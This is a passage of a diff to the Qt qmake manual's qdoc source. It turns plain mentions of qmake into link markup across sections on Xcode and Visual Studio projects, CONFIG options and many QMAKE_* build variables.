+    by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake}
     project files. For example:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19
 
-    Note that, if a project is later moved on the disk, \c qmake must be run
+    Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run
     again to process the project file and create a new Xcode project file.
 
     \section2 On supporting two build targets simultaneously
@@ -862,8 +863,8 @@
     \l{Qt Commercial Edition} and do not need to worry about how
     project dependencies are managed.
 
-    However, some developers may need to import an existing \c qmake project
-    into Visual Studio. \c qmake is able to take a project file and create a
+    However, some developers may need to import an existing \l {qmake}{ \c qmake} project
+    into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a
     Visual Studio project that contains all the necessary information required
     by the development environment. This is achieved by setting the \c qmake
     \l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp
@@ -878,7 +879,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21
 
-    Each time you update the project file, you need to run \c qmake to generate
+    Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate
     an updated Visual Studio project.
 
     \note If you are using the Visual Studio Add-in, you can import \c .pro
@@ -1011,7 +1012,7 @@
     \section1 Variable Reference
 
     The \l{qmake Variable Reference} describes the variables that are
-    recognized by \c qmake when configuring the build process for
+    recognized by \l {qmake}{ \c qmake}when configuring the build process for
     projects.
 
     \section1 Function Reference
@@ -1061,7 +1062,7 @@
     \section1 Environment Variables and Configuration
 
     The \l{Configuring qmake's Environment} chapter of this manual
-    describes the environment variables that \c qmake uses when
+    describes the environment variables that \l {qmake}{ \c qmake} uses when
     configuring the build process.
 */
 
@@ -1117,7 +1118,7 @@
 
     The \c CONFIG variable specifies project configuration and
     compiler options.  The values will be recognized internally by
-    \c qmake and have special meaning.  They are as follows.
+    \l {qmake}{ \c qmake} and have special meaning.  They are as follows.
 
     These \c CONFIG values control compilation flags:
 
@@ -1153,23 +1154,23 @@
     defined in the \c CONFIG variable, it is necessary to use the
     \c debug_and_release option if you want to allow both debug and release
     versions of a project to be built. In such a case, the Makefile that
-    \c qmake generates includes a rule that builds both versions, and this can
+    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can
     be invoked in the following way:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24
 
-    When linking a library, \c qmake relies on the underlying platform to know
+    When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know
     what other libraries this library links against. However, if linking
-    statically, \c qmake will not get this information unless we use the following
+    statically, \l {qmake}{ \c qmake} will not get this information unless we use the following
     \c CONFIG options:
 
      \table 95%
      \header \o Option   \o Description
-     \row    \o create_prl  \o This option enables \c qmake to track these
-        dependencies. When this option is enabled, \c qmake will create a file
+     \row    \o create_prl  \o This option enables \l {qmake}{ \c qmake} to track these
+        dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file
         ending in \c .prl which will save meta-information about the library
         (see \l{LibDepend}{Library Dependencies} for more info).
-     \row    \o link_prl    \o When this is enabled, \c qmake will process all
+     \row    \o link_prl    \o When this is enabled, \l {qmake}{ \c qmake} will process all
         libraries linked to by the application and find their meta-information
         (see \l{LibDepend}{Library Dependencies} for more info).
      \endtable
@@ -1323,7 +1324,7 @@
     \target DEFINES
     \section1 DEFINES
 
-    \c qmake adds the values of this variable as compiler C
+    \l {qmake}{ \c qmake} adds the values of this variable as compiler C
     preprocessor macros (-D option).
 
     For example:
@@ -1554,9 +1555,9 @@
     \target DESTDIR_TARGET
     \section1 DESTDIR_TARGET
 
-    This variable is set internally by \c qmake, which is basically the
+    This variable is set internally by \l {qmake}{ \c qmake}, which is basically the
     \c DESTDIR variable with the \c TARGET variable appened at the end.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target DLLDESTDIR
@@ -1577,9 +1578,9 @@
     \target DSP_TEMPLATE
     \section1 DSP_TEMPLATE
 
-    This variable is set internally by \c qmake, which specifies where the
+    This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the
     dsp template file for basing generated dsp files is stored. The value
-    of this variable is typically handled by \c qmake or
+    of this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target FORMS
@@ -1625,9 +1626,9 @@
 
     Defines the header files for the project.
 
-    \c qmake will generate dependency information (unless \c -nodepend
+    \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend
     is specified on the \l{Running qmake#Commands}{command line})
-    for the specified headers. \c qmake will also automatically detect if
+    for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if
     \c moc is required by the classes in these headers, and add the
     appropriate dependencies and files to the project for generating and
     linking the moc files.
@@ -1678,14 +1679,14 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36
 
-    Note that \c qmake will skip files that are executable. If you need to install
+    Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install
     executable files, you can unset the files' executable flags.
 
     \target LEXIMPLS
     \section1 LEXIMPLS
 
     This variable contains a list of lex implementation files.  The value
-    of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+    of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely
     needs to be modified.
 
     \target LEXOBJECTS
@@ -1693,7 +1694,7 @@
 
     This variable contains the names of intermediate lex object
     files.The value of this variable is typically handled by
-    \c qmake and rarely needs to be modified.
+    \l {qmake}{ \c qmake} and rarely needs to be modified.
 
     \target LEXSOURCES
     \section1 LEXSOURCES
@@ -1768,9 +1769,9 @@
     \section1 MAKEFILE
 
     This variable specifies the name of the Makefile which
-    \c qmake should use when outputting the dependency information
+    \l {qmake}{ \c qmake} should use when outputting the dependency information
     for building a project.  The value of this variable is typically
-    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \bold{Note:} On the Symbian platform, this variable is ignored.
 
@@ -1779,7 +1780,7 @@
 
     This variable contains the name of the Makefile generator to use
     when generating a Makefile.  The value of this variable is typically
-    handled internally by \c qmake and rarely needs to be modified.
+    handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified.
 
     \target MMP_RULES
     \section1 MMP_RULES
@@ -1835,7 +1836,7 @@
     This variable is generated from the \link #SOURCES SOURCES
     \endlink variable.  The extension of each source file will have been
     replaced by .o (Unix) or .obj (Win32).  The value of this variable is
-    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
     rarely needs to be modified.
 
     \target OBJECTS_DIR
@@ -1851,10 +1852,10 @@
     \target OBJMOC
     \section1 OBJMOC
 
-    This variable is set by \c qmake if files can be found that
+    This variable is set by \l {qmake}{ \c qmake} if files can be found that
     contain the Q_OBJECT macro.  \c OBJMOC contains the
     name of all intermediate moc object files. The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target POST_TARGETDEPS
@@ -1894,7 +1895,7 @@
 
     This variable contains a list of header files that require some
     sort of pre-compilation step (such as with moc). The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target PWD
@@ -1916,25 +1917,25 @@
     \section1 OUT_PWD
 
     This variable contains the full path leading to the directory where
-    \c qmake places the generated Makefile.
+    \l {qmake}{ \c qmake} places the generated Makefile.
 
     \target QMAKE_systemvariable
     \section1 QMAKE
 
-    This variable contains the name of the \c qmake program
+    This variable contains the name of the \l {qmake}{ \c qmake} program
     itself and is placed in generated Makefiles.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target QMAKESPEC_systemvariable
     \section1 QMAKESPEC
 
-    This variable contains the name of the \c qmake
+    This variable contains the name of the \l {qmake}{ \c qmake}
     configuration to use when generating Makefiles.  The value of this
-    variable is typically handled by \c qmake and rarely needs to be modified.
+    variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified.
 
-    Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration.
-    Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC}
+    Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration.
+    Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC}
     environment variable from within a project file will have no effect.
 
     \target QMAKE_APP_FLAG
@@ -1942,7 +1943,7 @@
 
     This variable is empty unless the \c app
     \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.  Use the following instead:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42
@@ -1952,7 +1953,7 @@
 
     This variable is empty unless the \c app or \c dll
     \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target QMAKE_AR_CMD
@@ -1962,7 +1963,7 @@
 
     This variable contains the command for invoking the program which
     creates, modifies and extracts archives. The value of this variable is
-    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.
 
     \target QMAKE_BUNDLE_DATA
@@ -2012,7 +2013,7 @@
     \section1 QMAKE_CFLAGS_DEBUG
 
     This variable contains the flags for the C compiler in debug mode.The value of this variable is
-    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.
 
     \target QMAKE_CFLAGS_MT
@@ -2021,7 +2022,7 @@
     This variable contains the compiler flags for creating a
     multi-threaded application or when the version of Qt that you link
     against is a multi-threaded statically linked library.  The value of
-    this variable is typically handled by \c qmake or
+    this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_CFLAGS_MT_DBG
@@ -2030,7 +2031,7 @@
     This variable contains the compiler flags for creating a debuggable
     multi-threaded application or when the version of Qt that you link
     against is a debuggable multi-threaded statically linked library.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_CFLAGS_MT_DLL
@@ -2041,7 +2042,7 @@
     This variable contains the compiler flags for creating a
     multi-threaded dll or when the version of Qt that you link
     against is a multi-threaded dll.  The value of this variable is typically
-    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
     rarely needs to be modified.
 
     \target QMAKE_CFLAGS_MT_DLLDBG
@@ -2052,7 +2053,7 @@
     This variable contains the compiler flags for creating a debuggable
     multi-threaded dll or when the version of Qt that you link
     against is a debuggable multi-threaded statically linked library.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_CFLAGS_RELEASE
@@ -2060,7 +2061,7 @@
 
     This variable contains the compiler flags for creating a non-debuggable
     application.  The value of this variable is typically
-    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
     rarely needs to be modified.
 
     \target QMAKE_CFLAGS_SHLIB
@@ -2070,7 +2071,7 @@
 
     This variable contains the compiler flags for creating a shared
     library. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CFLAGS_THREAD
@@ -2078,7 +2079,7 @@
 
     This variable contains the compiler flags for creating a multi-threaded
     application. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CFLAGS_WARN_OFF
@@ -2086,7 +2087,7 @@
 
     This variable is not empty if the warn_off
     \l{#CONFIG}{CONFIG} option is specified.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.
 
     \target QMAKE_CFLAGS_WARN_ON
@@ -2095,7 +2096,7 @@
     This variable is not empty if the warn_on
     \l{#CONFIG}{CONFIG} option is specified.
     The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CLEAN
@@ -2114,7 +2115,7 @@
     \section1 QMAKE_CXXFLAGS
 
     This variable contains the C++ compiler flags that are used when building
-    a project. The value of this variable is typically handled by \c qmake or
+    a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags
     specific to debug and release modes can be adjusted by modifying
     the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables,
@@ -2134,7 +2135,7 @@
 
     This variable contains the C++ compiler flags for creating a debuggable
     application. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_MT
@@ -2142,7 +2143,7 @@
 
     This variable contains the C++ compiler flags for creating a multi-threaded
     application. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_MT_DBG
@@ -2150,7 +2151,7 @@
 
     This variable contains the C++ compiler flags for creating a debuggable multi-threaded
     application. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_MT_DLL
@@ -2160,7 +2161,7 @@
 
     This variable contains the C++ compiler flags for creating a multi-threaded
     dll. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_MT_DLLDBG
@@ -2170,7 +2171,7 @@
 
     This variable contains the C++ compiler flags for creating a multi-threaded debuggable
     dll. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_RELEASE
@@ -2178,7 +2179,7 @@
 
     This variable contains the C++ compiler flags for creating an
     application. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_SHLIB
@@ -2186,7 +2187,7 @@
 
     This variable contains the C++ compiler flags for creating a
     shared library.  The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_THREAD
@@ -2194,21 +2195,21 @@
 
     This variable contains the C++ compiler flags for creating a
     multi-threaded application.  The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
     to be modified.
 
     \target QMAKE_CXXFLAGS_WARN_OFF
     \section1 QMAKE_CXXFLAGS_WARN_OFF
 
     This variable contains the C++ compiler flags for suppressing compiler warnings.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_CXXFLAGS_WARN_ON
     \section1 QMAKE_CXXFLAGS_WARN_ON
 
     This variable contains C++ compiler flags for generating compiler warnings.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_DISTCLEAN
@@ -2220,7 +2221,7 @@
     \section1 QMAKE_EXTENSION_SHLIB
 
     This variable contains the extention for shared libraries.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.
 
     Note that platform-specific variables that change the extension will override
@@ -2294,15 +2295,15 @@
     \section1 QMAKE_FAILED_REQUIREMENTS
 
     This variable contains the list of requirements that were failed to be met when
-    \c qmake was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
-    value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    \l {qmake}{ \c qmake}was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.
 
     \target QMAKE_FILETAGS
     \section1 QMAKE_FILETAGS
 
     This variable contains the file tags needed to be entered into the Makefile, such as SOURCES
-    and HEADERS.  The value of this variable is typically handled by \c qmake or
+    and HEADERS.  The value of this variable is typically handled by \l {qmake}{ \c qmake}or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_FRAMEWORK_BUNDLE_NAME
@@ -2338,7 +2339,7 @@
 
     This variable contains the location of all known header files to be added to
     INCLUDEPATH when building an application.  The value of this variable is
-    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
     needs to be modified.
 
     \target QMAKE_INCDIR_EGL
@@ -2347,14 +2348,14 @@
     This variable contains the location of EGL header files to be added
     to INCLUDEPATH when building an application with OpenGL/ES or
     OpenVG support. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_INCDIR_OPENGL
     \section1 QMAKE_INCDIR_OPENGL
 
     This variable contains the location of OpenGL header files to be added
     to INCLUDEPATH when building an application with OpenGL support. The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2366,7 +2367,7 @@
     to INCLUDEPATH when building an application with OpenGL ES 1
     or OpenGL ES 2 support respectively.
 
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2377,7 +2378,7 @@
 
     This variable contains the location of OpenVG header files to be added
     to INCLUDEPATH when building an application with OpenVG support. The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also
@@ -2388,7 +2389,7 @@
 
     This variable contains the location of all known header file
     paths to be added to INCLUDEPATH when building a Qt application. The value
-    of this variable is typically handled by \c qmake or
+    of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_INCDIR_THREAD
@@ -2396,7 +2397,7 @@
 
     This variable contains the location of all known header file
     paths to be added to INCLUDEPATH when building a multi-threaded application.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_INCDIR_X11
@@ -2406,7 +2407,7 @@
 
     This variable contains the location of X11 header file paths to be
     added to INCLUDEPATH when building a X11 application.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target QMAKE_INFO_PLIST
@@ -2437,7 +2438,7 @@
 
     This variable contains link flags when building console
     programs.  The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_CONSOLE_DLL
@@ -2446,19 +2447,19 @@
 
     This variable contains link flags when building console
     dlls.  The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_DEBUG
 
     This variable contains link flags when building debuggable applications.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_PLUGIN
 
     This variable contains link flags when building plugins. The value
-    of this variable is typically handled by \c qmake or
+    of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_RPATH
@@ -2472,25 +2473,25 @@
 
     This variable contains link flags when building programs that
     use the Qt library built as a dll. The value of this variable is
-    typically handled by \c qmake or
+    typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_RELEASE
 
     This variable contains link flags when building applications for
     release. The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_SHAPP
 
     This variable contains link flags when building applications which are using
     the \c app template.  The value of this variable is typically handled by
-    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_SHLIB
 
     This variable contains link flags when building shared libraries
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_SONAME
@@ -2502,7 +2503,7 @@
     \section1 QMAKE_LFLAGS_THREAD
 
     This variable contains link flags when building multi-threaded projects.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_WINDOWS
@@ -2511,7 +2512,7 @@
 
     This variable contains link flags when building Windows GUI projects
     (i.e. non-console applications).
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LFLAGS_WINDOWS_DLL
@@ -2519,14 +2520,14 @@
     \e {This is used on Windows only.}
 
     This variable contains link flags when building Windows DLL projects.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBDIR
 
     This variable contains the location of all known library
     directories.The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBDIR_FLAGS
@@ -2535,21 +2536,21 @@
 
     This variable contains the location of all library
     directory with -L prefixed.  The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBDIR_EGL
 
     This variable contains the location of the EGL library
     directory, when EGL is used with OpenGL/ES or OpenVG. The value
-    of this variable is typically handled by \c qmake or
+    of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBDIR_OPENGL
 
     This variable contains the location of the OpenGL library
     directory.The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2559,7 +2560,7 @@
 
     This variable contains the location of the OpenVG library
     directory. The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL
@@ -2569,7 +2570,7 @@
 
     This variable contains the location of the Qt library
     directory.The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBDIR_X11
@@ -2578,13 +2579,13 @@
 
     This variable contains the location of the X11 library
     directory.The value of this variable is typically handled by
-    \c qmake or
+    \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS
 
     This variable contains all project libraries.  The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_CONSOLE
@@ -2600,13 +2601,13 @@
 
     This variable contains all EGL libraries when building Qt with
     OpenGL/ES or OpenVG.  The value of this variable is typically
-    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+    handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
     needs to be modified.  The usual value is \c{-lEGL}.
 
     \section1 QMAKE_LIBS_OPENGL
 
     This variable contains all OpenGL libraries.  The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2615,7 +2616,7 @@
     \section1 QMAKE_LIBS_OPENGL_QT
 
     This variable contains all OpenGL Qt libraries.The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2
@@ -2623,7 +2624,7 @@
     These variables contain all the OpenGL libraries for OpenGL ES 1
     and OpenGL ES 2.
 
-    The value of these variables is typically handled by \c qmake or
+    The value of these variables is typically handled by \l {qmake}{ \c qmake}or
     \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2632,7 +2633,7 @@
     \section1 QMAKE_LIBS_OPENVG
 
     This variable contains all OpenVG libraries.  The value of this
-    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
     and rarely needs to be modified.  The usual value is \c{-lOpenVG}.
 
     Some OpenVG engines are implemented on top of OpenGL.  This will
@@ -2645,7 +2646,7 @@
     \section1 QMAKE_LIBS_QT
 
     This variable contains all Qt libraries.The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_QT_DLL
@@ -2653,21 +2654,21 @@
     \e {This is used on Windows only.}
 
     This variable contains all Qt libraries when Qt is built as a dll.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
